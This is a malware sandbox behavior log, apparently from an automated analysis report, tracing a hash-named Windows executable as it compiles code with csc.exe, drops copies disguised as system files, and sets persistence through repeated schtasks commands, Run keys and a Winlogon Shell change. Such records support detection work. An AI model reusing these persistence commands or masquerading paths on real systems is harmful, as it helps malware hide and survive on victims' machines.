Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: unknown	Process created: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe "C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe"
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pb5w2chy\pb5w2chy.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD41E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC76655AD3B5B14A58A99CB3ECAE1D1A90.TMP"
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\k1wttop3\k1wttop3.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD631.tmp" "c:\Windows\System32\CSC9D0BE8EB87641DFA2B4851BB05AFB2.TMP"
Source: unknown	Process created: C:\Program Files (x86)\Java\jre-1.8\upfc.exe "C:\Program Files (x86)\java\jre-1.8\upfc.exe"
Source: unknown	Process created: C:\Program Files (x86)\Java\jre-1.8\upfc.exe "C:\Program Files (x86)\java\jre-1.8\upfc.exe"
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "llflCdrMcgGBl" /sc MINUTE /mo 8 /tr "'C:\Recovery\llflCdrMcgGB.exe'" /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "llflCdrMcgGB" /sc ONLOGON /tr "'C:\Recovery\llflCdrMcgGB.exe'" /rl HIGHEST /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "llflCdrMcgGBl" /sc MINUTE /mo 14 /tr "'C:\Recovery\llflCdrMcgGB.exe'" /rl HIGHEST /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Application Data\Start Menu\StartMenuExperienceHost.exe'" /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Users\All Users\Application Data\Start Menu\StartMenuExperienceHost.exe'" /rl HIGHEST /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Application Data\Start Menu\StartMenuExperienceHost.exe'" /rl HIGHEST /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "llflCdrMcgGBl" /sc MINUTE /mo 6 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe'" /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "llflCdrMcgGB" /sc ONLOGON /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe'" /rl HIGHEST /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "llflCdrMcgGBl" /sc MINUTE /mo 8 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe'" /rl HIGHEST /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\Program Files\7-Zip\Lang\upfc.exe'" /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\upfc.exe'" /rl HIGHEST /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\Program Files\7-Zip\Lang\upfc.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "62b1bf60394248d2c743ec6df0935d58e5009c9e04aab6" /sc MINUTE /mo 9 /tr "'C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe'" /f
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "62b1bf60394248d2c743ec6df0935d58e5009c9e04aab" /sc ONLOGON /tr "'C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\WAeZ9wWpbS.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: unknown	Process created: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Source: unknown	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe
Source: unknown	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe
Source: unknown	Process created: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe "C:\Users\All Users\Application Data\Start Menu\StartMenuExperienceHost.exe"
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe "C:\Users\All Users\Application Data\Start Menu\StartMenuExperienceHost.exe"
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pb5w2chy\pb5w2chy.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\k1wttop3\k1wttop3.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\WAeZ9wWpbS.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD41E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC76655AD3B5B14A58A99CB3ECAE1D1A90.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD631.tmp" "c:\Windows\System32\CSC9D0BE8EB87641DFA2B4851BB05AFB2.TMP"	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1794799 push edi; iretd	0_2_00007FF7C179479C
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C17947CF push ds; iretd	0_2_00007FF7C17947D5
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8DDA2 push esi; ret	0_2_00007FF7C1B8DDB2
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8DDC5 push edi; ret	0_2_00007FF7C1B8DDC6
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8E166 push edx; ret	0_2_00007FF7C1B8E176
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8D530 pushfd ; ret	0_2_00007FF7C1B8D541
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8F0FD push eax; retf	0_2_00007FF7C1B8F169
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8CD07 push edx; ret	0_2_00007FF7C1B8CD10
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8E4CD push eax; ret	0_2_00007FF7C1B8E4D4
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8E477 push ebp; ret	0_2_00007FF7C1B8E489
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8E053 push ebp; ret	0_2_00007FF7C1B8E057
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B8F3FE push ecx; ret	0_2_00007FF7C1B8F40F
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Code function: 0_2_00007FF7C1B88B78 pushad ; ret	0_2_00007FF7C1B88B91
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1794799 push edi; iretd	17_2_00007FF7C179479C
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C17947CF push ds; iretd	17_2_00007FF7C17947D5
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C17BEF7C pushad ; retf	17_2_00007FF7C17BEF7D
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C17D43B8 push edi; iretd	17_2_00007FF7C17D43B9
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C17C68C6 push es; retf	17_2_00007FF7C17C68C7
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C17A21CE push esi; iretd	17_2_00007FF7C17A21CF
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1854E53 pushfd ; ret	17_2_00007FF7C1854EC2
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1854E39 pushfd ; ret	17_2_00007FF7C1854E52
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1854C93 pushfd ; ret	17_2_00007FF7C1854D02
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1854D73 pushfd ; ret	17_2_00007FF7C1854EC2
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8E301 push edx; ret	17_2_00007FF7C1B8E302
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8DD7F push edi; ret	17_2_00007FF7C1B8DD80
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8D51C pushad ; ret	17_2_00007FF7C1B8D520
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8E0A4 push esp; ret	17_2_00007FF7C1B8E0A8
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8A04A pushfd ; ret	17_2_00007FF7C1B8A04B
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8E3A0 push eax; ret	17_2_00007FF7C1B8E3B0
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B8E3C3 push ecx; ret	17_2_00007FF7C1B8E3C4
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Code function: 17_2_00007FF7C1B89FCD pushfd ; ret	17_2_00007FF7C1B89FE5

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Static PE information: section name: .text entropy: 7.539794011288274
Source: StartMenuExperienceHost.exe.0.dr	Static PE information: section name: .text entropy: 7.539794011288274
Source: llflCdrMcgGB.exe.0.dr	Static PE information: section name: .text entropy: 7.539794011288274
Source: upfc.exe.0.dr	Static PE information: section name: .text entropy: 7.539794011288274
Source: upfc.exe0.0.dr	Static PE information: section name: .text entropy: 7.539794011288274

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Program Files\7-Zip\Lang\upfc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	File created: C:\Users\user\Desktop\AHphtSeX.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	File created: C:\Users\user\Desktop\jjSkKJFG.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Users\user\Desktop\PDlWdMMS.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Users\user\Desktop\wlyrJHCD.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	File created: C:\Users\user\Desktop\rUKsZmvt.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Users\user\Desktop\YPnuykix.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Users\user\Desktop\FUSHtkHk.log	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	File created: C:\Users\user\Desktop\CUcqaUVf.log	Jump to dropped file
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Recovery\llflCdrMcgGB.exe	Jump to dropped file

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run llflCdrMcgGB	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartMenuExperienceHost	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run upfc	Jump to behavior

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Users\All Users\Application Data\Start Menu\StartMenuExperienceHost.exe	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File created: C:\Users\All Users\Application Data\Start Menu\55b276f4edf653	Jump to behavior

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Memory allocated: EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Memory allocated: 1A870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Memory allocated: 1380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Memory allocated: 1AF40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Memory allocated: 1510000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Memory allocated: 1B370000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Memory allocated: 2F60000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Memory allocated: 1B0F0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Memory allocated: 2670000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Memory allocated: 1A800000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Memory allocated: 18E0000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Memory allocated: 1B310000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Memory allocated: B10000 memory reserve \| memory write watch
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Memory allocated: 1A960000 memory reserve \| memory write watch
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Memory allocated: 1830000 memory reserve \| memory write watch
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Memory allocated: 1B4A0000 memory reserve \| memory write watch
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Memory allocated: 9F0000 memory reserve \| memory write watch
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Memory allocated: 1A580000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 599025	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 598199	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 598088	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 597516	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 597227	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 597101	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596983	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596780	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596436	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596327	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596213	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595879	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Thread delayed: delay time: 595516	Jump to behavior
